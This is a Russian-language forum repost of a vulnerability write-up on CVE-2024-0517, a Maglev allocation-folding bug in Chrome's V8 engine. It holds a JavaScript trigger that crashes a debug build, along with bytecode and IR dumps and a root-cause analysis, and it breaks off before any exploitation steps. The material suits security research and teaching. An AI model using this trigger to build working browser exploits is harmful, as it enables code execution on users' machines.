Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Обзор

В этой статье мы рассмотрим уязвимость, которую мы обнаружили в движке JavaScript V8 Google Chrome несколько месяцев назад. Эта уязвимость была исправлена в обновлении Chrome от 16 января 2024 (https://chromereleases.googleblog.com/2024/01/stable-channel-update-for-desktop_16.html) года и ей был присвоен код CVE-2024-0517.

Уязвимость возникает из-за того, что компилятор Maglev V8 пытается скомпилировать класс, имеющий родительский класс. В таком случае компилятору приходится искать все родительские классы и их конструкторы, и при этом он создает уязвимость. В этой статье мы подробно рассмотрим эту уязвимость и способы ее использования.

Для анализа этой уязвимости в V8 используется оболочка разработчика - d8, включенная в проект V8. После компиляции V8 создается несколько двоичных файлов, которые помещаются в следующие каталоги:

- Debug d8 binary: ./out.gn/x64.debug/d8 (дебаг билд)
- Release d8 binary: ./out.gn/x64.release/d8 (реализ билд)

V8 выполняет JIT-компиляцию кода JavaScript. JIT-компиляторы выполняют перевод языка высокого уровня, в данном случае JavaScript, в машинный код для более быстрого выполнения. Прежде чем углубиться в анализ уязвимости, мы сначала обсудим некоторые предварительные подробности о движке V8, которые необходимы для понимания уязвимости и механизма эксплойта. Если вы уже знакомы с внутренним устройством V8, смело переходите к разделу «Уязвимость» .

Предварительные сведения

JavaScript-движок V8


Движок JavaScript V8 состоит из нескольких компонентов в конвейере компиляции: Ignition (интерпретатор), Sparkplug (базовый компилятор), Maglev (оптимизирующий компилятор среднего уровня) и TurboFan (оптимизирующий компилятор). Ignition — это регистровая машина, которая генерирует байт-код из проанализированного абстрактного синтаксического дерева (AST). Один из этапов оптимизации включает в себя идентификацию часто используемого кода и пометку такого кода как «горячего». Код, помеченный как «горячий», затем передается в Maglev, а если выполняется несколько раз, в TurboFan. В Maglev он анализируется статически, собирая обратную связь по типам от интерпретатора, а в Turbofan динамически профилируется. Этот анализ используется для создания оптимизированного и скомпилированного кода. Последующие выполнения кода, помеченного как «горячий», выполняются быстрее, поскольку V8 скомпилирует и оптимизирует код JavaScript в целевую архитектуру машинного кода и будет использовать этот сгенерированный код для выполнения операций, определенных кодом, ранее помеченным как «горячий».

Maglev

Maglev — это оптимизирующий компилятор среднего уровня в V8. Он расположен сразу после базового компилятора (Sparkplug) и перед основным оптимизирующим компилятором (Turbofan).

Его основная цель — выполнить быструю оптимизацию без какого-либо динамического анализа, учитывается только обратная связь, поступающая от интерпретатора. Чтобы выполнить соответствующую оптимизацию статическим способом, он поддерживает себя путем создания графа потока управления (CFG), заполненного узлами; известный как Maglev IR.

Запуск следующего фрагмента кода JavaScript через out/x64.debug/d8 --allow-natives-syntax --print-maglev-graph maglev-add-test.js:

JavaScript: Скопировать в буфер обмена
Код:
function add(a, b) {
  return a + b;
}

%PrepareFunctionForOptimization(add);
add(2, 4);
%OptimizeMaglevOnNextCall(add);
add(2, 4);

Оболочка разработчика d8 сначала распечатает байт-код интерпретатора.

0 : Ldar a1
2 : Add a0, [0]
5 : Return
Нажмите, чтобы раскрыть...

Где:

0: загрузить регистр a1, второй аргумент функции, в регистр аккумулятора интерпретатора.
2: выполнить сложение с регистром a0, первым аргументом, и сохраните результат в аккумуляторе. Наконец, сохраните профилирование в слот 0 встроенного кэша.
5: вернуть значение, хранящееся в аккумуляторе.

В свою очередь эьл имеет свое аналогичное представление в графе Maglev IR:

1/5: Constant(0x00f3003c3ce5 ) → v-1, live range: [1-11]
2/4: Constant(0x00f3003dbaa9 ) → v-1, live range: [2-11]
3/6: RootConstant(undefined_value) → v-1
Block b1
0x00f3003db9a9 (0x00f30020c301 )
0 : Ldar a1
4/1: InitialValue() → [stack:-6|t], live range: [4-11]

[1]

5/2: InitialValue(a0) → [stack:-7|t], live range: [5-11]
6/3: InitialValue(a1) → [stack:-8|t], live range: [6-11]
7/7: FunctionEntryStackCheck
↳ lazy @-1 (4 live vars)
8/8: Jump b2

Block b2
15: GapMove([stack:-7|t] → [rax|R|t])
2 : Add a0, [0]
↱ eager @2 (5 live vars)

[2]

9/9: CheckedSmiUntag [v5/n2:[rax|R|t]] → [rax|R|w32], live range: [9-11]
16: GapMove([stack:-8|t] → [rcx|R|t])
↱ eager @2 (5 live vars)
10/10: CheckedSmiUntag [v6/n3:[rcx|R|t]] → [rcx|R|w32], live range: [10-11]
↱ eager @2 (5 live vars)
11/11: Int32AddWithOverflow [v9/n9:[rax|R|w32], v10/n10:[rcx|R|w32]] → [rax|R|w32], live range: [11-13]
5 : Return
12/12: ReduceInterruptBudgetForReturn(5)

[3]

13/13: Int32ToNumber [v11/n11:[rax|R|w32]] → [rcx|R|t], live range: [13-14]
17: GapMove([rcx|R|t] → [rax|R|t])
14/14: Return [v13/n13:[rax|R|t]]
Нажмите, чтобы раскрыть...


В [1] загружаются значения обоих аргументов a0 и a1. Цифры 5/2 и 6/3 относятся к Node 5/Variable 2 и Node 6/Variable 3. Узлы используются в исходных графах Maglev IR, а переменные используются при создании окончательных графов распределения регистров. Следовательно, аргументы будут передаваться по соответствующим узлам и переменным. В [2] CheckedSmiUntag над значениями, загруженными в [1], выполняются две операции. Эта операция проверяет, что аргумент является небольшим целым числом, и удаляет тег. Эти нетегированные значения теперь передаются в систему Int32AddWithOverflow, которая принимает операнды из v9/n9 и v10/n10 (результаты операций CheckedSmiUntag) и помещает результат в n11/v11. Наконец, в [4] граф преобразует результирующую операцию в число JavaScript с помощью Int32ToNumber и n11/v11 помещает результат в v13/n13 который затем возвращается Return операцией.

Ubercage

Ubercage, также известный как V8 Sandbox (не путать с Chrome Sandbox), представляет собой новое средство защиты в V8, которое пытается обеспечить соблюдение ограничений чтения и записи памяти даже после успешной эксплуатации уязвимости V8.

Проект предполагает перемещение кучи V8 в заранее зарезервированное виртуальное адресное пространство, называемое «песочницей», при условии, что злоумышленник может повредить память кучи V8. Это перемещение ограничивает доступ к памяти внутри процесса, предотвращая выполнение произвольного кода в случае успешного эксплойта V8. Он создает внутрипроцессную «песочницу» для V8, преобразуя потенциальные произвольные записи в ограниченные записи с минимальными затратами на производительность (примерно 1% при реальных рабочих нагрузках).

Другой механизм Ubercage — это изолированная программная среда указателя кода, в которой реализация удаляет указатель кода внутри самого объекта JavaScript и превращает его в индекс в таблице. Эта таблица будет хранить информацию о типе и фактический адрес кода, который будет выполняться, в отдельной изолированной части памяти. Это не позволяет злоумышленникам изменять указатели кода функций JavaScript, поскольку во время эксплойта изначально достигается только связанный доступ к куче V8.

Наконец, Ubercage также означает удаление полных 64-битных указателей на объектах типизированного массива. Раньше резервное хранилище (или указатель данных) этих объектов использовалось для создания произвольных примитивов чтения и записи, но с появлением Ubercage этот путь больше не является жизнеспособным маршрутом для злоумышленников.

Сборка мусора

Движки JavaScript интенсивно используют память благодаря свободе, которую спецификация предоставляет при использовании объектов, поскольку их типы и ссылки могут быть изменены в любой момент времени, эффективно изменяя их форму и расположение в памяти. Все объекты, на которые ссылаются корневые объекты (объекты, на которые указывают регистры или переменные стека) напрямую или через цепочку ссылок, считаются живыми. Любой объект, которого нет в такой ссылке, считается мертвым и подлежит освобождению сборщиком мусора.

Такое интенсивное и динамичное использование объектов привело к исследованиям, которые доказывают, что большинство объектов умрут молодыми, известным как «Гипотеза поколений» (https://web.archive.org/web/2019120...ownload?doi=10.1.1.122.4295&rep=rep1&type=pdf) , которая используется V8 в качестве основы для процедур сборки мусора. Кроме того, он использует полупространственный подход, чтобы предотвратить обход всего пространства кучи для маркировки живых/мертвых объектов, где он рассматривает «Молодое поколение» и «Старое поколение» в зависимости от количества циклов сборки мусора чтобы каждому объекту удалось выжить.

В V8 существует два основных сборщика мусора: Major GC и Minor GC. Основной сборщик мусора проходит все пространство кучи, чтобы отметить статус объекта (живой/мертвый), очистить пространство памяти, чтобы освободить мертвые объекты, и, наконец, сжать память в зависимости от фрагментации. Minor GC пересекает только пространство кучи молодого поколения и выполняет те же операции, но включает другую полупространственную схему, перенося уцелевшие объекты из пространства «From-space» в пространство «To-space», причем все в чередующемся порядке.

Orinoco является частью сборщика мусора V8 и пытается реализовать самые современные методы сбора мусора, включая полностью одновременные, параллельные и инкрементальные механизмы маркировки и освобождения памяти. Orinoco применяется к Minor GC, поскольку он использует распараллеливание задач, чтобы отметить и итерировать «Молодое поколение». Он также применяется к Major GC путем реализации параллелизма на этапах маркировки. Все это предотвращает ранее наблюдаемые зависания экрана, вызванные остановкой сборщиком мусора всех задач с целью освобождения памяти, что известно как подход «Остановить мир». (https://web.archive.org/web/20210421220936/https://v8.dev/blog/trash-talk)

Представление объекта

V8 в 64-битных сборках использует сжатие указателей. То есть все указатели хранятся в куче V8 как 32-битные значения. Чтобы определить, является ли текущее 32-битное значение указателем или небольшим целым числом (SMI), V8 использует другой метод, называемый тегированием указателя (pointer tagging):

- Если значение является указателем, последний бит указателя будет установлен в 1.
- Если значением является SMI, оно поразрядно сдвигает << значение влево на 1. Последний бит остается неустановленным. Следовательно, при чтении 32-битного значения из кучи первое, что проверяется, — есть ли у него тег-указатель (последний бит установлен в 1), и если да, то добавляется значение регистра ( r14 в системах x86), который соответствует базовому адресу кучи V8, поэтому указатель распаковывается до его полного значения. Если это SMI, он проверит, что последний бит установлен в 0, а затем побитно сдвинет вправо ( >>) значение перед его использованием.

Лучший способ понять, как V8 представляет объекты JavaScript внутри, — это посмотреть на выходные данные оператора DebugPrint, выполняемого в d8 оболочке с аргументом, представляющим простой объект.

d8> let a = new Object();
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3cd908088669: [JS_OBJECT_TYPE]
- map: 0x3cd9082422d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- elements: 0x3cd90804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3cd90804222d <FixedArray[0]>
- All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x3cd9080423b5 <undefined>
- prototype_validity cell: 0x3cd908182405 <Cell value= 1>
- instance descriptors (own) #0: 0x3cd9080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- constructor: 0x3cd90820388d <JSFunction Object (sfi = 0x3cd908184721)>
- dependent code: 0x3cd9080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

{}

d8> for (let i =0; i<1000; i++) var gc = new Uint8Array(100000000);
undefined
d8> %DebugPrint(a);
DebugPrint: 0x3cd908214bd1: [JS_OBJECT_TYPE] in OldSpace
- map: 0x3cd9082422d1 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- elements: 0x3cd90804222d <FixedArray[0]> [HOLEY_ELEMENTS]
- properties: 0x3cd90804222d <FixedArray[0]>
- All own properties (excluding elements): {}
0x3cd9082422d1: [Map]
- type: JS_OBJECT_TYPE
- instance size: 28
- inobject properties: 4
- elements kind: HOLEY_ELEMENTS
- unused property fields: 4
- enum length: invalid
- back pointer: 0x3cd9080423b5 <undefined>
- prototype_validity cell: 0x3cd908182405 <Cell value= 1>
- instance descriptors (own) #0: 0x3cd9080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x3cd908203c55 <Object map = 0x3cd9082421b9>
- constructor: 0x3cd90820388d <JSFunction Object (sfi = 0x3cd908184721)>
- dependent code: 0x3cd9080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0

{}
Нажмите, чтобы раскрыть...

Объекты V8 могут иметь два типа свойств:

- Числовые свойства (например, obj[0], obj[1]): они обычно хранятся в непрерывном массиве, на который указывает elements указатель.

- Именованные свойства (например, obj["a"] или obj.a): они по умолчанию хранятся в том же фрагменте памяти, что и сам объект. Вновь добавленные свойства, превышающие определенный предел (по умолчанию 4), сохраняются в непрерывном массиве, на который указывает указатель properties.

Стоит отметить, что поля elements и properties также могут указывать на объект, представляющий структуру данных, подобную хеш-таблице, в определенных сценариях, где может быть достигнут более быстрый доступ к свойствам.

Кроме того, видно, что после выполнения for (let i =0; i<1000; i++) var geec = new Uint8Array(100000000); которого инициируется основной цикл сборки мусора, объект a теперь является частью OldSpace, это «Старое поколение», как показано в первой строке в данных отладочной печати.

Независимо от типа и количества свойств, все объекты начинаются с указателя на объект Map, который описывает структуру объекта. Каждый Map объект имеет массив дескрипторов с записью для каждого свойства. Каждая запись содержит информацию, например, доступно ли свойство только для чтения или тип данных, которые оно содержит (т. е. double, small integer, tagged pointer). Когда хранилище свойств реализовано с помощью хеш-таблиц, эта информация хранится в каждой записи хеш-таблицы, а не в массиве дескрипторов.

0x52b08089a55: [DescriptorArray]
- map: 0x052b080421b9 <Map>
- enum_cache: 4
- keys: 0x052b0808a0d5
- indices: 0x052b0808a0ed
- nof slack descriptors: 0
- nof descriptors: 4
- raw marked descriptors: mc epoch 0, marked 0
[0]: 0x52b0804755d: [String] in ReadOnlySpace: #a (const data field 0:s, p: 2, attrs: [WEC]) @ Any
[1]: 0x52b080475f9: [String] in ReadOnlySpace: #b (const data field 1:d, p: 3, attrs: [WEC]) @ Any
[2]: 0x52b082136ed: [String] in OldSpace: #c (const data field 2:h, p: 0, attrs: [WEC]) @ Any
[3]: 0x52b0821381d: [String] in OldSpace: #d (data field 3: t, p: 1, attrs: [WEC]) @ Any
Нажмите, чтобы раскрыть...

В листинге выше:

- s означает «tagged small integer»
- d означает double. Является ли это нетегированным значением или тегированным указателем, зависит от значения флага компиляции FLAG_unbox_double_fields. Для этого параметра установлено значение false, если включено сжатие указателя (по умолчанию для 64-разрядных сборок). Двойные значения, представленные в виде объектов кучи, состоят из Map указателя, за которым следует 8-байтовое IEEE 754 значение.
- h означает «tagged pointer»
- t означает «tagged value»

JavaScript-массивы

JavaScript — это динамически типизированный язык, в котором тип связан со значением, а не с выражением. За исключением примитивных типов, таких как null, undefined, strings, numbers, Symbol, boolean, все остальное в JavaScript является объектом.

Объект JavaScript может быть создан разными способами, например var foo = {}. Свойства можно присвоить объекту JavaScript несколькими способами, включая foo.prop1 = 12 и foo["prop1"] = 12. Объект JavaScript ведет себя аналогично объектам карты (map) или словаря (dict) на других языках.

Массив в JavaScript (например, определяемый как var arr = [1, 2, 3] объект JavaScript, свойства которого ограничены значениями, которые можно использовать в качестве индексов массива. Спецификация ECMAScript определяет массив следующим образом [3]) - (https://web.archive.org/web/2020112...a-international.org/ecma-262/5.1/ECMA-262.pdf) :

Объекты-массивы уделяют особое внимание определенному классу имен свойств. Имя свойства P (в форме значения String) является индексом массива тогда и только тогда, когда ToString(ToUint32(P)) равно P, а ToUint32(P) не равно 2^32-1. Свойство, имя которого является индексом массива, также называется элементом. Каждый объект Array имеет свойство длины, значение которого всегда является неотрицательным целым числом меньше 2^32.
Нажмите, чтобы раскрыть...

Обратите внимание:

- Массив может содержать не более 2^32-1 элементов, а индекс массива может находиться в диапазоне
от 2^32-2
- Имена свойств объектов , являющиеся индексами массива , называются элементами

Объект TypedArray в JavaScript описывает представление базового буфера двоичных данных в виде массива. (https://web.archive.org/web/2020111...avaScript/Reference/Global_Objects/TypedArray) Не существует ни глобального свойства с именем TypedArray, ни непосредственно видимого конструктора TypedArray.

Некоторые примеры TypedArray объектов включают в себя:

Int8Array имеет размер 1 байт и диапазон -128 to 127.
Uint8Array имеет размер 1 байт и диапазон 0 to 255.
Int32Array имеет размер 4 байта и диапазон -2147483648 to 2147483647.
Uint32Array имеет размер 4 байта и диапазон 0 to 4294967295.

Виды элементов в V8

V8 отслеживает, какие элементы содержит каждый массив. Эта информация позволяет V8 оптимизировать любые операции с массивом специально для этого типа элементов. Например, когда выполняется вызов reduce, map или forEach массива, V8 может оптимизировать эти операции в зависимости от того, какие элементы содержит массив. (https://web.archive.org/web/2021031...8cc39e9deef5:src/objects/elements-kind.h;l=31)

V8 включает в себя большое количество типов элементов. Ниже приведены лишь некоторые из них:

- Быстрый тип, содержащий небольшие целочисленные значения (SMI): PACKED_SMI_ELEMENTS, HOLEY_SMI_ELEMENTS.
- Быстрый тип, содержащий тегированные значения: PACKED_ELEMENTS, HOLEY_ELEMENTS.
- Быстрый вид для развернутых, не помеченных double значений: PACKED_DOUBLE_ELEMENTS, HOLEY_DOUBLE_ELEMENTS.
- Медленный тип элементов: DICTIONARY_ELEMENTS.
- Нерасширяемый, запечатанный и замороженный вид : PACKED_NONEXTENSIBLE_ELEMENTS, HOLEY_NONEXTENSIBLE_ELEMENTS, PACKED_SEALED_ELEMENTS, HOLEY_SEALED_ELEMENTS, PACKED_FROZEN_ELEMENTS, HOLEY_FROZEN_ELEMENTS.

В этом сообщении блога основное внимание уделяется двум различным типам элементов.

- PACKED_DOUBLE_ELEMENTS : массив упакован и содержит только 64-битные значения с плавающей запятой.
- PACKED_ELEMENTS : Массив упакован и может содержать элементы любого типа (целые числа, double значения, объекты и т. д.).

Концепция переходов важна для понимания этой уязвимости. Переход — это процесс преобразования одного типа массива в другой. Например, массив с типом PACKED_SMI_ELEMENTS можно преобразовать в тип HOLEY_SMI_ELEMENTS. Этот переход преобразует более конкретный вид (PACKED_SMI_ELEMENTS) в более общий вид (HOLEY_SMI_ELEMENTS). Однако переходы не могут перейти от общего вида к более конкретному. Например, если массив помечен как PACKED_ELEMENTS(общий тип), он не может вернуться к PACKED_DOUBLE_ELEMENTS(конкретный тип), что и приводит к первоначальному повреждению из-за этой уязвимости. (https://web.archive.org/web/20210321104253/https://v8.dev/blog/elements-kinds)

Следующий блок кода иллюстрирует, как эти базовые типы присваиваются массиву JavaScript и когда происходят эти переходы:

JavaScript: Скопировать в буфер обмена
Код:
let array = [1, 2, 3]; // PACKED_SMI_ELEMENTS
array[3] = 3.1         // PACKED_DOUBLE_ELEMENTS
array[3] = 4           // Still PACKED_DOUBLE_ELEMENTS
array[4] = "five"      // PACKED_ELEMENTS
array[6] = 6           // HOLEY_ELEMENTS


Быстрые массивы JavaScript

Напомним, что массивы JavaScript — это объекты, свойства которых ограничены значениями, которые можно использовать в качестве индексов массива. Внутри V8 используется несколько различных представлений свойств, чтобы обеспечить быстрый доступ к свойствам. (https://notes.austin.exodusintel.com/OV7w_0pBSdaAGQ8gdz7JzA?edit#fn7)

Быстрые элементы — это простые внутренние массивы виртуальной машины, где индекс свойства сопоставляется с индексом в хранилище элементов. Для large или holey массивов, имеющих пустые слоты в нескольких индексах, для экономии памяти используется представление на основе словаря.

Уязвимость

Уязвимость существует в функции VisitFindNonDefaultConstructorOrConstruct Maglev, которая пытается оптимизировать создание класса, когда у класса есть родительский класс. В частности, если класс также содержит new.target ссылку, это вызовет логическую проблему при генерации кода, что приведет к уязвимости второго порядка типа записи за пределами (OOB write). new.target определяется как метасвойство функций, позволяющее определить, была ли функция вызвана с помощью оператора new. Для конструкторов он позволяет получить доступ к функции, с помощью которой был вызван оператор new. В следующем случае Reflect.construct использовался для построения ClassBugсClassParentas new.target.

JavaScript: Скопировать в буфер обмена
Код:
function main() {
  class ClassParent {
  }
  class ClassBug extends ClassParent {
      constructor() {
        const v24 = new new.target();
        super();
        let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
      }
      [1000] = 8;
  }
  for (let i = 0; i < 300; i++) {
      Reflect.construct(ClassBug, [], ClassParent);
  }
}
%NeverOptimizeFunction(main);
main();

При запуске приведенного выше кода в отладочной сборке происходит следующий сбой:

$ ./v8/out/x64.debug/d8 --max-opt=2 --allow-natives-syntax --expose-gc --jit-fuzzing --jit-fuzzing report-1.js

#
# Fatal error in ../../src/objects/object-type.cc, line 82
# Type cast failed in CAST(LoadFromObject(machine_type, object, IntPtrConstant(offset - kHeapObjectTag))) at ../../src/codegen/code-stub-assembler.h:1309
Expected Map but found Smi: 0xcccccccd (-858993459)

#
#
#
#FailureMessage Object: 0x7ffd9c9c15a8
==== C stack trace ===============================

./v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x1e) [0x7f2e07dc1f5e]
./v8/out/x64.debug/libv8_libplatform.so(+0x522cd) [0x7f2e07d142cd]
./v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1ac) [0x7f2e07d9019c]
./v8/out/x64.debug/libv8.so(v8::internal::CheckObjectType(unsigned long, unsigned long, unsigned long)+0xa0df) [0x7f2e0d37668f]
./v8/out/x64.debug/libv8.so(+0x3a17bce) [0x7f2e0b7eebce]
Trace/breakpoint trap (core dumped)
Нажмите, чтобы раскрыть...

Конструктор класса ClassBug имеет следующий байт-код:

// [1]
0x9b00019a548 @ 0 : 19 fe f8 Mov , r1
0x9b00019a54b @ 3 : 0b f9 Ldar r0
0x9b00019a54d @ 5 : 69 f9 f9 00 00 Construct r0, r0-r0, [0]
0x9b00019a552 @ 10 : c3 Star2

// [2]
0x9b00019a553 @ 11 : 5a fe f9 f2 FindNonDefaultConstructorOrConstruct , r0, r7-r8
0x9b00019a557 @ 15 : 0b f2 Ldar r7
0x9b00019a559 @ 17 : 19 f8 f5 Mov r1, r4
0x9b00019a55c @ 20 : 19 f9 f3 Mov r0, r6
0x9b00019a55f @ 23 : 19 f1 f4 Mov r8, r5
0x9b00019a562 @ 26 : 99 0c JumpIfTrue [12] (0x9b00019a56e @ 38)
0x9b00019a564 @ 28 : ae f4 ThrowIfNotSuperConstructor r5
0x9b00019a566 @ 30 : 0b f3 Ldar r6
0x9b00019a568 @ 32 : 69 f4 f9 00 02 Construct r5, r0-r0, [2]
0x9b00019a56d @ 37 : c0 Star5
0x9b00019a56e @ 38 : 0b 02 Ldar
0x9b00019a570 @ 40 : ad ThrowSuperAlreadyCalledIfNotHole

// [3]
0x9b00019a571 @ 41 : 19 f4 02 Mov r5,
0x9b00019a574 @ 44 : 2d f5 00 04 GetNamedProperty r4, [0], [4]
0x9b00019a578 @ 48 : 9d 0a JumpIfUndefined [10] (0x9b00019a582 @ 58)
0x9b00019a57a @ 50 : be Star7
0x9b00019a57b @ 51 : 5d f2 f4 06 CallProperty0 r7, r5, [6]
0x9b00019a57f @ 55 : 19 f4 f3 Mov r5, r6

// [4]
0x9b00019a582 @ 58 : 7a 01 08 25 CreateArrayLiteral [1], [8], #37
0x9b00019a586 @ 62 : c2 Star3
0x9b00019a587 @ 63 : 0b 02 Ldar
0x9b00019a589 @ 65 : aa Return
Нажмите, чтобы раскрыть...

Вкратце, [1] представляет строку new new.target(), [2] соответствует созданию объекта, [3] представляет вызов super(), а [4] — создание массива после вызова super. Когда этот код запускается несколько раз, он будет скомпилирован JIT-компилятором Maglev, который будет обрабатывать каждую операцию с байт-кодом отдельно. Уязвимость заключается в том, как Maglev переводит операцию байт-кода FindNonDefaultConstructorOrConstruct в Maglev IR.

Когда Maglev опускает байт-код в IR, он также будет включать в себя код инициализации объекта this, а значит, в нем будет и код [1000] = 8 из триггера. Сгенерированный граф Maglev IR с уязвимой оптимизацией будет таким:

[TRUNCATED]
0x16340019a2e1 (0x163400049c41 )
11 : FindNonDefaultConstructorOrConstruct , r0, r7-r8

[5]

20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
21/19: StoreMap(0x16340019a961 <Map>) [v20/n18:[rdi|R|t]]
22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]

[TRUNCATED]

│ 0x16340019a31d (0x163400049c41 :9:15)
│ 5 : DefineKeyedOwnProperty , r0, #0, [0]

[6]

│ 28/30: DefineKeyedOwnGeneric [v2/n3:[rsi|R|t], v20/n18:[rdx|R|t], v4/n27:[rcx|R|t], v7/n28:[rax|R|t], v6/n29:[r11|R|t]] → [rax|R|t]
│ │ @51 (3 live vars)
│ ↳ lazy @5 (2 live vars)
│ 0x16340019a2e1 (0x163400049c41 )
│ 58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─►Block b7
│ 30/32: Jump b8
│ ↓
╰►Block b8

[7]

31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
59: GapMove([rcx|R|t] → [rdi|R|t])
32/34: StoreMap(0x163400000829 <Map>) [v31/n33:[rdi|R|t]]

[TRUNCATED]
Нажмите, чтобы раскрыть...

При оптимизации конструкции класса ClassBugв [5] Maglev выполнит raw аллокацию, устраняя потребность в большем пространстве для double массива, определенного в [4] в предыдущем листинге, а также отметив, что он перенесет указатель на это выделение в кучу (spilled: [stack:1|t]). Однако при создании объекта [1000] = 8 определение свойства, показанное в [6], вызовет сборку мусора. Этот побочный эффект нельзя наблюдать в самом Maglev IR, поскольку именно Maglev отвечает за безопасное распределение сборщика мусора. Таким образом, в [7] FoldedAllocation попытается использовать ранее выделенное пространство в [5] (изображено v20/n18) путем восстановления сброса из стека, добавления +12 к указателю и, наконец, сохранения указателя обратно в регистр rcx. Позже GapMove поместит указатель в rdi и, наконец, StoreMap начнет записывать double массив, начиная с его Map, в таком указателе, эффективно перезаписывая память в другом месте, чем то, которое ожидалось Maglev IR, поскольку он был перемещен циклом сборки мусора в [6]. Это поведение подробно рассматривается в следующем разделе.

Анализ кода

Allocating Folding


Maglev пытается оптимизировать аллокацию, пытаясь объединить несколько аллокаций в одну большую. Он хранит указатель на последний узел, который выделил память ( AllocateRawnode). В следующий раз, когда поступает запрос на выделение, он выполняет определенные проверки и, если они проходят, увеличивает размер предыдущего выделения на размер, запрошенный для нового. Это означает, что если есть запрос на выделение 12 байт, а позже будет еще один запрос на выделение 88 байт, Maglev просто сделает первое выделение длиной 100 байт и полностью удалит второе выделение. Первые 12 байтов этой аллокации будут использоваться для первой аллокации, а следующие 88 байтов будут использоваться для второго. Это можно увидеть в следующем коде.

Когда Maglev пытается опустить код и встречает места, где есть необходимость выделить память, вызывается функция - MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(). Исходный код этой функции приведен ниже.

C++: Скопировать в буфер обмена
Код:
// File: src/maglev/maglev-graph-builder.cc

ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
    int size, AllocationType allocation_type) {

[1]

  if (!current_raw_allocation_ ||
      current_raw_allocation_->allocation_type() != allocation_type ||
      !v8_flags.inline_new) {
    current_raw_allocation_ =
        AddNewNode<AllocateRaw>({}, allocation_type, size);
    return current_raw_allocation_;
  }

[2]

  int current_size = current_raw_allocation_->size();
  if (current_size + size > kMaxRegularHeapObjectSize) {
    return current_raw_allocation_ =
               AddNewNode<AllocateRaw>({}, allocation_type, size);
  }

[3]

  DCHECK_GT(current_size, 0);
  int previous_end = current_size;
  current_raw_allocation_->extend(size);
  return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}

Эта функция принимает два аргумента: первый — это размер выделения, а второй — AllocationType который определяет подробности о том, как и где аллоцировать — например, должно ли это распределение находиться в Молодом пространстве или Старом пространстве.

В [1] он проверяет, current_raw_allocation_ является ли значение null или это AllocationType не равно тому, что было запрошено для текущей аллокации. В любом случае в конфигурацию Maglev добавляется новый узел AllocateRaw, а указатель на этот узел сохраняется в current_raw_allocation_. Следовательно, переменная current_raw_allocation_ всегда указывает на узел, который выполнил последнюю аллокацию.

Когда элемент управления достигает [2], это означает, что элемент current_raw_allocation_ не пуст и тип аллокации предыдущей распределения соответствует типу текущего. Если да, то компилятор проверяет, что общий размер, то есть размер предыдущего выделения, добавленного к запрошенному размеру, меньше 0x20000. Если нет, AllocateRaw для этого выделения снова создается новый узел, и указатель на него сохраняется в файле current_raw_allocation_.

Если контроль достиг [3], то это означает, что сумму, выделяемую сейчас, можно объединить с последним распределением. Следовательно, размер последнего выделения увеличивается на запрошенный размер с использованием метода extend() файла current_raw_allocation_. Это гарантирует, что предыдущее выделение также выделит память, необходимую для этого выделения. После этого FoldedAllocation создается узел. Этот узел содержит смещение предыдущего выделения, с которого начинается память для текущего выделения. Например, если первое выделение было 12 байт, а второе — 88 байт, то Maglev объединит оба выделения и сделает первое выделением на 100 байт. Второй будет заменен узлом FoldedAllocation, который указывает на предыдущее выделение и содержит смещение 12, что означает, что это выделение начнется на 12 байтах после предыдущего выделения.

Таким образом, Maglev оптимизирует количество выполняемых распределений. В коде это называется сворачиванием распределения, а распределения, оптимизированные за счет увеличения размера предыдущего распределения, называются свернутыми распределениями. Однако здесь есть одна оговорка: сбор мусора (GC). Как упоминалось в предыдущих разделах, в V8 имеется движущийся сборщик мусора. Следовательно, если сборщик мусора происходит между двумя «свернутыми» выделениями, объект, который был инициализирован при первом выделении, будет перемещен в другое место, в то время как пространство, зарезервированное для второго выделения, будет освобождено, поскольку сборщик мусора не увидит там объект (поскольку Сбор мусора произошел после инициализации первого объекта, но до инициализации второго). Поскольку GC не видит объект, он предположит, что это свободное место и освободит его. Позже, когда будет инициализирован второй объект, узел FoldedAllocation сообщит смещение от начала предыдущего выделения (которое теперь перемещено), и использование этого смещения для инициализации объекта приведет к записи за пределами границ. Это происходит потому, что была перемещена только память, соответствующая первому объекту, а это означает, что в приведенном выше примере перемещаются только 12 байтов, в то время как FoldedAllocation сообщит, что второй объект может быть инициализирован со смещением 12 байт от начала выделения. Поэтому следует проявлять осторожность, чтобы избежать сценария, при котором сборщик мусора может возникнуть между свернутыми выделениями.

BuildAllocateFastObject

